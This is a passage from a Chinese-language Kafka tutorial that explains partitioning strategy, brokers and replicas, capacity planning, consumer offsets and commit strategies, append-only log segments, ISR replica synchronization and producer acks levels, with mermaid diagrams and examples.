fill:#fff3e0</code></pre><p><strong>分区设计的业务考量</strong>：</p><p>这里有一个重要的设计原则：<strong>分区间的顺序确实必须不影响业务逻辑</strong>。这是为什么呢？</p><ol><li><p><strong>水平扩展的前提</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">如果业务依赖跨分区的顺序，那么：</span><br><span class="line">- 无法并行处理（必须串行）</span><br><span class="line">- 无法水平扩展（增加分区没意义）</span><br><span class="line">- 性能无法提升（回到单线程模式）</span><br></pre></td></tr></table></figure></li><li><p><strong>业务设计要求</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">良好的分区策略应该确保：</span><br><span class="line">- 相关的消息在同一分区（如同一用户的操作）</span><br><span class="line">- 无关的消息在不同分区（如不同用户的操作）</span><br><span class="line">- 业务逻辑不依赖跨分区的消息顺序</span><br></pre></td></tr></table></figure></li></ol><p><strong>正确的分区策略示例</strong>：</p><p>✅ <strong>好的设计</strong>：电商订单系统</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">分区策略：按用户ID哈希分区</span><br><span class="line">Partition 0: 用户A的所有操作（下单→付款→发货→确认收货）</span><br><span class="line">Partition 1: 用户B的所有操作（下单→取消）</span><br><span class="line">Partition 2: 用户C的所有操作（下单→付款→退款）</span><br><span class="line"></span><br><span class="line">优点：</span><br><span class="line">- 每个用户的操作序列在同一分区，保证顺序</span><br><span class="line">- 不同用户的操作可以并行处理</span><br><span class="line">- 分区间顺序不影响业务（用户A的操作不依赖用户B的操作）</span><br></pre></td></tr></table></figure><p>❌ <strong>错误的设计</strong>：库存管理系统</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">如果设计成：</span><br><span class="line">Partition 0: 商品A的库存操作</span><br><span class="line">Partition 1: 商品B的库存操作</span><br><span class="line">但业务需要：必须先处理完所有入库，再处理出库</span><br><span class="line"></span><br><span class="line">问题：</span><br><span class="line">- 分区0的入库可能晚于分区1的出库</span><br><span class="line">- 导致库存计算错误</span><br><span class="line">- 违反了&quot;分区间顺序不影响业务&quot;的原则</span><br></pre></td></tr></table></figure><p><strong>分区与副本的区别</strong>：</p><p>还需要澄清一个常见的混淆：分区(Partition)和副本(Replica)是不同的概念：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Topic: orders&quot;        P0[Partition 0&lt;br/&gt;用户A的消息]        P1[Partition 1&lt;br/&gt;用户B的消息]    end    subgraph &quot;Broker 1&quot;        P0L[Partition 0 Leader&lt;br/&gt;用户A的消息]        P1F1[Partition 1 Follower&lt;br/&gt;用户B的消息副本]    end    subgraph &quot;Broker 2&quot;        P0F1[Partition 0 Follower&lt;br/&gt;用户A的消息副本]        P1L[Partition 1 Leader&lt;br/&gt;用户B的消息]    end    P0 --&gt; P0L    P0 --&gt; P0F1    P1 --&gt; P1L    P1 --&gt; P1F1    style P0L fill:#4caf50    style P1L fill:#4caf50</code></pre><ul><li><strong>分区</strong>：存储不同的消息内容，用于并行处理</li><li><strong>副本</strong>：存储相同的消息内容，用于容错备份</li></ul><p><strong>重要澄清：Broker与分区的关系</strong></p><p>您提出了一个关键问题：一个分区可能非常大，一台机器放不下怎么办？这里需要澄清一个重要概念：</p><p><strong>一个分区只能存储在一台机器上，不能跨机器分割</strong>。但是，Kafka通过以下机制来解决存储限制问题：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Topic: user-events（3个分区）&quot;        P0[Partition 0]        P1[Partition 1]        P2[Partition 2]    end    subgraph &quot;Kafka集群&quot;        subgraph &quot;Broker 1（机器1）&quot;            P0_B1[Partition 0&lt;br/&gt;存储在此机器]            P1_R1[Partition 1 副本]        end        subgraph &quot;Broker 2（机器2）&quot;            P1_B2[Partition 1&lt;br/&gt;存储在此机器]            P2_R1[Partition 2 副本]        end        subgraph &quot;Broker 3（机器3）&quot;            P2_B3[Partition 2&lt;br/&gt;存储在此机器]            P0_R1[Partition 0 副本]        end    end    P0 --&gt; P0_B1    P0 --&gt; P0_R1    P1 --&gt; P1_B2    P1 --&gt; P1_R1    P2 --&gt; P2_B3    P2 --&gt; P2_R1    style P0_B1 fill:#4caf50    style P1_B2 fill:#4caf50    style P2_B3 fill:#4caf50</code></pre><p><strong>核心原则</strong>：</p><ol><li><strong>每个分区主副本只存在于一个Broker上</strong></li><li><strong>不同分区可以分布在不同Broker上</strong></li><li><strong>通过增加分区数量来水平扩展存储</strong></li></ol><p><strong>如何处理分区过大问题</strong>：</p><p>当单个分区变得过大时，Kafka提供了几种解决方案：</p><ol><li><p><strong>数据保留策略</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">自动清理机制：</span><br><span class="line">- 基于时间：保留7天内的数据，自动删除过期数据</span><br><span class="line">- 基于大小：分区超过100GB时，删除最老的数据</span><br><span class="line">- 基于压缩：对相同Key的消息进行压缩，只保留最新值</span><br></pre></td></tr></table></figure></li><li><p><strong>Log Segment分片</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">单个分区在磁盘上分为多个Segment文件：</span><br><span class="line">- 每个Segment默认1GB大小</span><br><span class="line">- 只有最新的Segment可写</span><br><span class="line">- 旧的Segment可以独立删除或归档</span><br><span class="line"></span><br><span class="line">例如：</span><br><span class="line">/kafka-logs/topic-0/</span><br><span class="line">├── 00000000000000000000.log  (1GB, 已满)</span><br><span class="line">├── 00000000000001000000.log  (1GB, 已满)</span><br><span class="line">├── 00000000000002000000.log  (800MB, 当前写入)</span><br></pre></td></tr></table></figure></li><li><p><strong>分区数量规划</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">设计时就要考虑分区数量：</span><br><span class="line"></span><br><span class="line">错误示例：</span><br><span class="line">- 1个分区存储100TB数据 ❌</span><br><span class="line"></span><br><span class="line">正确示例：</span><br><span class="line">- 100个分区，每个1TB数据 ✅</span><br><span class="line">- 分布在50台机器上，每台2个分区</span><br></pre></td></tr></table></figure></li></ol><p><strong>Broker与分区的具体关系</strong>：</p><pre><code class="highlight mermaid">graph LR    subgraph B1 [&quot;Broker 1 (192.168.1.10)&quot;]        B1P1[&quot;orders-0/ (主分区)&quot;]        B1P2[&quot;orders-2/ (副本)&quot;]        B1P3[&quot;users-1/ (副本)&quot;]    end    subgraph B2 [&quot;Broker 2 (192.168.1.11)&quot;]        B2P1[&quot;orders-1/ (主分区)&quot;]        B2P2[&quot;orders-0/ (副本)&quot;]        B2P3[&quot;users-0/ (主分区)&quot;]    end    subgraph B3 [&quot;Broker 3 (192.168.1.12)&quot;]        B3P1[&quot;orders-2/ (主分区)&quot;]        B3P2[&quot;orders-1/ (副本)&quot;]        B3P3[&quot;users-1/ (主分区)&quot;]    end    B1P1 -.-&gt;|副本| B2P2    B2P1 -.-&gt;|副本| B3P2    B3P1 -.-&gt;|副本| B1P2    B2P3 -.-&gt;|副本| B1P3    B3P3 -.-&gt;|副本| B1P3    style B1P1 fill:#4caf50    style B2P1 fill:#4caf50    style B3P1 fill:#4caf50    style B2P3 fill:#4caf50    style B3P3 fill:#4caf50</code></pre><p><strong>关键理解</strong>：</p><ol><li><p><strong>分区不能跨Broker分割</strong>：</p><ul><li>每个分区的完整数据只能存在一个Broker上</li><li>不能把一个分区的一部分放在Broker1，另一部分放在Broker2</li></ul></li><li><p><strong>Broker可以托管多个分区</strong>：</p><ul><li>一个Broker可以存储多个不同分区的主副本</li><li>一个Broker也可以存储多个其他分区的从副本</li></ul></li><li><p><strong>水平扩展的正确方式</strong>：</p><ul><li>不是让单个分区跨多台机器</li><li>而是创建更多分区，分布到更多机器上</li></ul></li></ol><p><strong>实际容量规划示例</strong>：</p><p>假设您有一个日志收集系统，预计存储需求：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">业务需求：</span><br><span class="line">- 每天产生10TB数据</span><br><span class="line">- 需要保留30天数据</span><br><span class="line">- 总存储需求：300TB</span><br><span class="line"></span><br><span class="line">错误设计：</span><br><span class="line">Topic: app-logs</span><br><span class="line">- 分区数：1个</span><br><span class="line">- 问题：单个分区300TB，没有任何一台机器能存储</span><br><span class="line"></span><br><span class="line">正确设计：</span><br><span class="line">Topic: app-logs</span><br><span class="line">- 分区数：300个</span><br><span class="line">- 每个分区：1TB数据</span><br><span class="line">- Broker数量：100台</span><br><span class="line">- 每台Broker：3个分区主副本 + 6个副本 = 9TB存储</span><br><span class="line">- 副本因子：3（每个分区有3个副本）</span><br><span class="line"></span><br><span class="line">好处：</span><br><span class="line">✅ 数据分布均匀</span><br><span class="line">✅ 可以并行处理300个分区</span><br><span class="line">✅ 任何3台机器同时故障都不会丢数据</span><br><span class="line">✅ 可以根据需要动态增加Broker</span><br></pre></td></tr></table></figure><p><strong>分区大小的经验法则</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">推荐的单分区大小：</span><br><span class="line">- 小于1TB：最佳性能</span><br><span class="line">- 1-10TB：可接受</span><br><span class="line">- 大于10TB：应考虑增加分区数</span><br><span class="line"></span><br><span class="line">分区数量考虑因素：</span><br><span class="line">- Consumer并行度：分区数 = 最大Consumer数</span><br><span class="line">- 存储容量：总数据量 / 理想分区大小</span><br><span class="line">- 网络带宽：每个分区的读写带宽需求</span><br></pre></td></tr></table></figure><ol start="2"><li><p><strong>简化offset管理</strong>：</p><ul><li>每个Consumer只需要管理自己负责的Partition的offset</li><li>避免复杂的消息分发和同步机制</li></ul></li><li><p><strong>故障自动恢复</strong>：</p><ul><li>Consumer故障时，其负责的Partition会自动分配给其他Consumer</li><li>新Consumer加入时，会自动重新分配Partition</li><li>实现了自动的负载均衡和故障转移</li></ul></li></ol><h3 id="3-4-消息定位与Offset概念">3.4 消息定位与Offset概念</h3><p><strong>为什么需要消息定位机制</strong>：<br>在分布式消息系统中，Consumer需要知道：</p><ul><li>我已经读到了哪里？</li><li>下次应该从哪里开始读？</li><li>如果我重启了，应该从哪里继续？</li></ul><p><strong>Offset的本质</strong>：<br>Offset是消息在Partition中的位置标识，类似于数组的索引：</p><pre><code class="highlight mermaid">graph TD    M0[&quot;消息0&lt;br/&gt;offset=0&quot;] --&gt; M1[&quot;消息1&lt;br/&gt;offset=1&quot;] --&gt; M2[&quot;消息2&lt;br/&gt;offset=2&quot;] --&gt; M3[&quot;消息3&lt;br/&gt;offset=3&quot;] --&gt; M4[&quot;消息4&lt;br/&gt;offset=4&quot;]    style M2 fill:#ffeb3b    note1[&quot;Consumer当前位置：offset=2&lt;br/&gt;下次读取：offset=3&quot;]</code></pre><p><strong>Offset的关键特性</strong>：</p><ol><li><strong>单调递增</strong>：新消息的offset总是比旧消息大</li><li><strong>分区独立</strong>：每个Partition有独立的offset序列</li><li><strong>永久有效</strong>：offset在消息存在期间始终有效</li></ol><h3 id="3-5-Consumer的消费位置追踪">3.5 Consumer的消费位置追踪</h3><p><strong>Consumer如何知道读取位置</strong>：</p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant B as Broker    participant OS as Offset Storage    Note over C,OS: Consumer启动时    C-&gt;&gt;OS: 1. 查询上次提交的offset    OS-&gt;&gt;C: 2. 返回offset=100    Note over C,OS: 正常消费流程    C-&gt;&gt;B: 3. 从offset=100开始拉取    B-&gt;&gt;C: 4. 返回消息[100,101,102]    C-&gt;&gt;C: 5. 处理业务逻辑    C-&gt;&gt;OS: 6. 提交新offset=103    OS-&gt;&gt;C: 7. 确认提交成功    Note over C,OS: Consumer重启后    C-&gt;&gt;OS: 8. 再次查询offset    OS-&gt;&gt;C: 9. 返回offset=103    C-&gt;&gt;B: 10. 从offset=103继续拉取</code></pre><p><strong>为什么需要Offset提交</strong>：</p><ol><li><strong>状态持久化</strong>：Consumer重启后能够继续上次的进度</li><li><strong>避免重复处理</strong>：已处理的消息不会再次处理</li><li><strong>集群容错</strong>：Consumer故障时其他实例可以接替</li></ol><h3 id="3-6-Offset提交策略的选择">3.6 Offset提交策略的选择</h3><p><strong>自动提交的工作原理</strong>：</p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant B as Broker    participant T as Timer    loop 每5秒自动提交        C-&gt;&gt;B: 拉取消息        B-&gt;&gt;C: 返回消息批次        C-&gt;&gt;C: 开始处理消息        T-&gt;&gt;C: 定时器触发(5秒到)        C-&gt;&gt;B: 自动提交当前offset        Note over C,B: 无论消息是否处理完成    end</code></pre><p><strong>自动提交的问题场景</strong>：</p><p><em>场景1：消息丢失</em></p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant B as Broker    C-&gt;&gt;B: 拉取消息offset=100-102    B-&gt;&gt;C: 返回3条消息    Note over C: 定时器到期，自动提交offset=103    C-&gt;&gt;B: 提交offset=103    Note over C: Consumer崩溃，消息未处理    Note over C: 重启后从offset=103开始    Note over C: 消息100-102永远丢失</code></pre><p><em>场景2：重复消费</em></p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant B as Broker    C-&gt;&gt;B: 拉取消息offset=100-102    B-&gt;&gt;C: 返回3条消息    C-&gt;&gt;C: 处理完所有消息    Note over C: Consumer崩溃，offset未提交    Note over C: 重启后仍从offset=100开始    C-&gt;&gt;B: 重新拉取offset=100-102    Note over C: 消息100-102被重复处理</code></pre><p><strong>手动提交的精确控制</strong>：</p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant B as Broker    participant BL as Business Logic    C-&gt;&gt;B: 拉取消息offset=100    B-&gt;&gt;C: 返回消息    C-&gt;&gt;BL: 处理业务逻辑    BL-&gt;&gt;C: 处理成功    C-&gt;&gt;B: 手动提交offset=101    B-&gt;&gt;C: 提交确认    Note over C,B: 只有业务处理成功才提交offset</code></pre><p><strong>两种策略的适用场景</strong>：</p><table><thead><tr><th>提交方式</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td>自动提交</td><td>简单易用，无需编码</td><td>可能丢失或重复消息</td><td>对消息精确性要求不高的场景</td></tr><tr><td>手动提交</td><td>精确控制，避免丢失</td><td>编码复杂，需要异常处理</td><td>对消息精确性要求高的场景</td></tr></tbody></table><p><strong>Offset存储位置的演进</strong>：</p><ul><li><strong>早期版本</strong>：存储在ZooKeeper中，但ZK不适合高频写入</li><li><strong>现在版本</strong>：存储在Kafka内部Topic <code>__consumer_offsets</code>中<ul><li>利用Kafka自身的持久化和副本机制</li><li>减少对ZooKeeper的依赖</li><li>提供更好的性能和可靠性</li></ul></li></ul><hr><h2 id="第四章：可靠性与一致性保证">第四章：可靠性与一致性保证</h2><h3 id="4-1-Kafka的基础存储原理：Append-Only-Log">4.1 Kafka的基础存储原理：Append-Only Log</h3><p>在理解Kafka的副本机制之前，我们需要先理解Kafka最核心的设计理念：<strong>追加式日志（Append-Only Log）</strong>。这是Kafka高性能和可靠性的基石。</p><p><strong>什么是Append-Only Log</strong>：</p><p>Append-Only Log是一种只能在末尾添加数据，不能修改已有数据的存储结构：</p><pre><code class="highlight mermaid">graph LR    subgraph &quot;传统数据库的更新操作&quot;        DB1[记录1: 用户A, 余额100] --&gt; DB2[记录1: 用户A, 余额150]        DB3[记录2: 用户B, 余额200] --&gt; DB4[记录2: 用户B, 余额180]        note1[直接修改原有记录]    end    subgraph &quot;Kafka的Append-Only Log&quot;        L1[消息1: 用户A登录] --&gt; L2[消息2: 用户A购买商品]        L2 --&gt; L3[消息3: 用户B登录]        L3 --&gt; L4[消息4: 用户A退款]        note2[只能追加，不能修改]    end    style DB2 fill:#fff3e0    style DB4 fill:#fff3e0    style L4 fill:#e3f2fd</code></pre><p><strong>为什么选择Append-Only设计</strong>：</p><ol><li><p><strong>磁盘顺序写入的性能优势</strong>：</p><p>现代磁盘的性能特点是：顺序写入比随机写入快几十倍甚至上百倍。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">典型磁盘性能数据：</span><br><span class="line">- 顺序写入：100-200 MB/s</span><br><span class="line">- 随机写入：1-5 MB/s</span><br><span class="line">- 性能差距：20-200倍</span><br></pre></td></tr></table></figure><p>Kafka利用这个特点，所有消息都追加写入到日志末尾，实现了极高的写入性能。</p></li><li><p><strong>简化并发控制</strong>：</p><p>为什么传统数据库不使用append-only设计？因为传统数据库需要支持随机更新和删除操作（如修改用户信息、删除过期数据），而消息队列的特点是数据一旦发送就不需要修改，这使得append-only设计成为可能且高效：</p></li></ol><pre><code class="highlight mermaid">graph TD    subgraph &quot;传统数据库的并发问题&quot;        T1[线程1: 修改记录A] --&gt; Lock1[需要加锁]        T2[线程2: 修改记录A] --&gt; Lock2[等待锁释放]        Lock1 --&gt; Conflict[可能产生冲突]    end    subgraph &quot;Append-Only的并发优势&quot;        T3[线程1: 追加消息] --&gt; A1[写入位置1000]        T4[线程2: 追加消息] --&gt; A2[写入位置1001]        A1 --&gt; Simple[无需加锁，天然有序]        A2 --&gt; Simple    end    style Conflict fill:#ffcdd2    style Simple fill:#c8e6c9</code></pre><ol start="3"><li><strong>数据不可变性带来的优势</strong>：<ul><li><strong>故障恢复简单</strong>：数据一旦写入就不会改变，不存在部分更新的问题</li><li><strong>备份一致性</strong>：副本只需要复制新增的数据，不用担心数据被修改</li><li><strong>缓存友好</strong>：操作系统可以安全地缓存数据，不用担心缓存失效</li></ul></li></ol><p><strong>Kafka中Log的物理结构</strong>：</p><p>每个Partition在磁盘上就是一个append-only的日志文件：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Partition的物理存储&quot;        subgraph &quot;Log Segment 1 (已满)&quot;            S1[00000000000000000000.log&lt;br/&gt;offset 0-999]        end        subgraph &quot;Log Segment 2 (已满)&quot;            S2[00000000000001000000.log&lt;br/&gt;offset 1000-1999]        end        subgraph &quot;Active Segment (当前写入)&quot;            S3[00000000000002000000.log&lt;br/&gt;offset 2000-当前]            Arrow[新消息追加到这里 →]        end    end    S1 --&gt; S2 --&gt; S3    style S3 fill:#e3f2fd</code></pre><p><strong>Log Segment的设计原理</strong>：</p><p>为什么要将一个Partition分成多个Segment？</p><ol><li><p><strong>文件大小管理</strong>：</p><ul><li>单个文件过大会影响操作系统的文件操作性能</li><li>默认1GB一个Segment，便于管理和备份</li></ul></li><li><p><strong>数据清理效率</strong>：</p></li></ol><pre><code class="highlight mermaid">graph LR    Old[过期的旧Segment] --&gt; Delete[直接删除整个文件]    Active[活跃Segment] --&gt; Keep[继续保留]    note1[删除整个文件比删除文件中的部分内容要快得多]</code></pre><ol start="3"><li><strong>索引文件配套</strong>：<br>每个Segment都有对应的索引文件，便于快速定位消息：<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000000001000000.log    - 消息数据</span><br><span class="line">00000000000001000000.index  - offset索引</span><br><span class="line">00000000000001000000.timeindex - 时间索引</span><br></pre></td></tr></table></figure></li></ol><p><strong>消息在Log中的存储格式</strong>：</p><pre><code class="highlight mermaid">graph LR    subgraph &quot;单条消息的结构&quot;        Offset[8字节&lt;br/&gt;Offset]        Size[4字节&lt;br/&gt;消息大小]        CRC[4字节&lt;br/&gt;校验码]        Magic[1字节&lt;br/&gt;版本号]        Attr[1字节&lt;br/&gt;属性]        Key[变长&lt;br/&gt;消息Key]        Value[变长&lt;br/&gt;消息内容]    end</code></pre><p><strong>Append-Only Log的读取机制</strong>：</p><p>既然数据只能追加，Kafka如何实现高效的读取？</p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant I as Index File    participant L as Log File    C-&gt;&gt;I: 1. 查找offset=1500的消息    I-&gt;&gt;I: 2. 二分查找最接近的索引项    I-&gt;&gt;C: 3. 返回：offset=1500在文件位置45000    C-&gt;&gt;L: 4. 从位置45000开始读取    L-&gt;&gt;C: 5. 返回消息内容</code></pre><p>索引文件记录了部分offset与文件位置的映射关系（稀疏索引），Consumer可以快速定位到目标消息的大概位置，然后顺序读取。</p><h3 id="4-2-基于Append-Only-Log的副本同步机制">4.2 基于Append-Only Log的副本同步机制</h3><p>理解了Kafka的基础存储原理后，我们就能更好地理解副本同步是如何工作的。</p><p><strong>副本同步的本质</strong>：</p><p>由于Kafka使用append-only log，副本同步就是<strong>将Leader的日志文件复制到Follower上</strong>的过程：</p><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant L as Leader    participant F1 as Follower 1    participant F2 as Follower 2    P-&gt;&gt;L: 1. 发送消息    L-&gt;&gt;L: 2. 追加到本地Log(offset=100)    par Follower主动拉取        F1-&gt;&gt;L: 3. 拉取请求&quot;我当前offset=99&quot;        L-&gt;&gt;F1: 4. 返回offset=100的消息        F1-&gt;&gt;F1: 5. 追加到本地Log(offset=100)    and        F2-&gt;&gt;L: 3. 拉取请求&quot;我当前offset=99&quot;        L-&gt;&gt;F2: 4. 返回offset=100的消息        F2-&gt;&gt;F2: 5. 追加到本地Log(offset=100)    end    par 确认同步完成        F1-&gt;&gt;L: 6. ACK: 已同步到offset=100        F2-&gt;&gt;L: 6. ACK: 已同步到offset=100    end    L-&gt;&gt;P: 7. 确认消息已写入所有副本</code></pre><p><strong>副本同步的关键特点</strong>：</p><ol><li><p><strong>Follower主动拉取</strong>：</p><ul><li>Follower会定期向Leader发送拉取请求</li><li>请求中包含自己当前的offset位置</li><li>Leader返回这个offset之后的所有新消息</li></ul></li><li><p><strong>顺序一致性</strong>：</p><ul><li>由于append-only的特性，所有副本的消息顺序完全一致</li><li>Follower按照Leader的顺序追加消息</li><li>不存在消息顺序不一致的问题</li></ul></li><li><p><strong>增量同步</strong>：</p><ul><li>Follower只需要拉取自己缺失的消息</li><li>不需要重新传输已有的消息</li><li>提高了同步效率</li></ul></li></ol><p><strong>ISR (In-Sync Replicas) 机制</strong>：</p><p>ISR是Kafka用来标识与Leader保持同步状态的副本集合，这是Kafka保证数据一致性的核心机制。在分布式环境中，网络延迟、节点性能差异等因素会导致某些Follower无法及时跟上Leader的更新进度。ISR机制就是用来区分哪些副本是&quot;可靠同步&quot;的，哪些是&quot;延迟过大&quot;的：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Partition的所有副本&quot;        L[Leader&lt;br/&gt;offset=1000]        F1[Follower 1&lt;br/&gt;offset=1000]        F2[Follower 2&lt;br/&gt;offset=998]        F3[Follower 3&lt;br/&gt;offset=850]    end    subgraph &quot;ISR集合&quot;        L2[Leader&lt;br/&gt;延迟=0]        F1_2[Follower 1&lt;br/&gt;延迟=0]        F2_2[Follower 2&lt;br/&gt;延迟=2条消息]    end    subgraph &quot;OSR (Out-of-Sync)&quot;        F3_2[Follower 3&lt;br/&gt;延迟=150条消息]    end    L --&gt; L2    F1 --&gt; F1_2    F2 --&gt; F2_2    F3 --&gt; F3_2    style L2 fill:#c8e6c9    style F1_2 fill:#c8e6c9    style F2_2 fill:#fff3e0    style F3_2 fill:#ffcdd2</code></pre><p><strong>ISR的动态维护</strong>：</p><p>ISR不是固定的，会根据Follower的同步情况动态调整。为了理解这个过程，我们需要先明确一个概念：</p><p><strong>OSR (Out-of-Sync Replicas)</strong>：<br>OSR是指那些因为各种原因（网络延迟、处理能力不足、节点故障等）无法与Leader保持同步的Follower副本。</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;所有副本状态&quot;        AR[AR: All Replicas&lt;br/&gt;所有副本]        AR --&gt; ISR[ISR: In-Sync Replicas&lt;br/&gt;同步副本]        AR --&gt; OSR[OSR: Out-of-Sync Replicas&lt;br/&gt;非同步副本]    end    ISR --&gt; List1[Leader + 同步的Follower]    OSR --&gt; List2[延迟过大的Follower]    style ISR fill:#c8e6c9    style OSR fill:#ffcdd2</code></pre><p><strong>动态调整的判断标准</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">主要参数：replica.lag.time.max.ms（默认30秒）</span><br><span class="line">判断逻辑：如果Follower超过30秒没有向Leader发送拉取请求，</span><br><span class="line">         就认为该Follower失去同步</span><br></pre></td></tr></table></figure><p><strong>动态调整过程</strong>：</p><ol><li><strong>正常状态</strong>：Follower定期拉取消息，保持在ISR中</li><li><strong>出现延迟</strong>：Follower因故障或网络问题延迟拉取</li><li><strong>超过阈值</strong>：延迟时间超过<code>replica.lag.time.max.ms</code> → 从ISR中移除 → 成为OSR</li><li><strong>恢复同步</strong>：OSR中的Follower恢复正常，追上Leader进度 → 重新加入ISR</li></ol><p>这种动态机制确保ISR中始终是真正能够可靠同步的副本，为数据一致性提供保障。</p><h3 id="4-3-生产者确认机制的设计原理">4.3 生产者确认机制的设计原理</h3><p>在分布式系统中，Producer发送消息到Broker后面临一个关键问题：<strong>如何确认消息真正被安全存储了</strong>？</p><p><strong>问题的复杂性</strong>：</p><p>考虑这样的场景：Producer发送了一条重要的订单消息到Kafka，然后继续处理其他业务。但是：</p><ul><li>消息可能在网络传输中丢失</li><li>Broker可能在接收消息时发生故障</li><li>消息可能写入了Leader但还没同步到Follower，Leader就宕机了</li></ul><p>如果Producer不知道消息是否真正安全存储，就无法保证数据的可靠性。</p><p><strong>Kafka的解决方案：acks确认机制</strong></p><p>Kafka通过acks参数让Producer可以选择不同的确认级别，在<strong>性能</strong>和<strong>可靠性</strong>之间做权衡：</p><pre><code class="highlight mermaid">graph TD    P[Producer发送消息] --&gt; Choice&#123;选择确认级别&#125;    Choice --&gt;|acks=0| Fast[追求最高性能]    Choice --&gt;|acks=1| Balance[平衡性能和可靠性]    Choice --&gt;|acks=all| Safe[追求最高可靠性]    Fast --&gt; Risk1[风险：可能丢失消息]    Balance --&gt; Risk2[风险：Leader故障时可能丢失]    Safe --&gt; Risk3[风险：性能相对较低]    style Fast fill:#ffeb3b    style Balance fill:#ff9800    style Safe fill:#4caf50</code></pre><p><strong>acks=0：追求极致性能的选择</strong></p><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant N as Network    participant B as Broker    P-&gt;&gt;N: 发送消息    P-&gt;&gt;P: 立即认为发送成功    Note over P: 不等待任何确认    N-&gt;&gt;B: 消息可能到达Broker    Note over N,B: 也可能在网络中丢失</code></pre><p><strong>为什么选择acks=0</strong>：</p><ul><li><strong>极致性能需求</strong>：日志收集、监控指标等场景，需要极高的吞吐量</li><li><strong>可容忍丢失</strong>：偶尔丢失几条日志或监控数据不会影响整体分析</li><li><strong>成本考虑</strong>：网络和存储资源有限，愿意用少量数据丢失换取性能</li></ul><p><strong>acks=1：平衡性能与可靠性</strong></p><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant L as Leader    participant F1 as Follower 1    participant F2 as Follower 2    P-&gt;&gt;L: 发送消息    L-&gt;&gt;L: 写入本地日志    L-&gt;&gt;P: 确认消息已写入    Note over P: Producer认为发送成功    par 后台同步过程        L-&gt;&gt;F1: 同步消息（异步）        L-&gt;&gt;F2: 同步消息（异步）    end</code></pre><p><strong>acks=1的风险场景</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">时间线：</span><br><span class="line">1. Producer发送消息到Leader</span><br><span class="line">2. Leader写入本地日志并确认</span><br><span class="line">3. Producer认为消息发送成功</span><br><span class="line">4. Leader在同步给Follower之前宕机</span><br><span class="line">5. 新Leader从Follower中选出，但没有这条消息</span><br><span 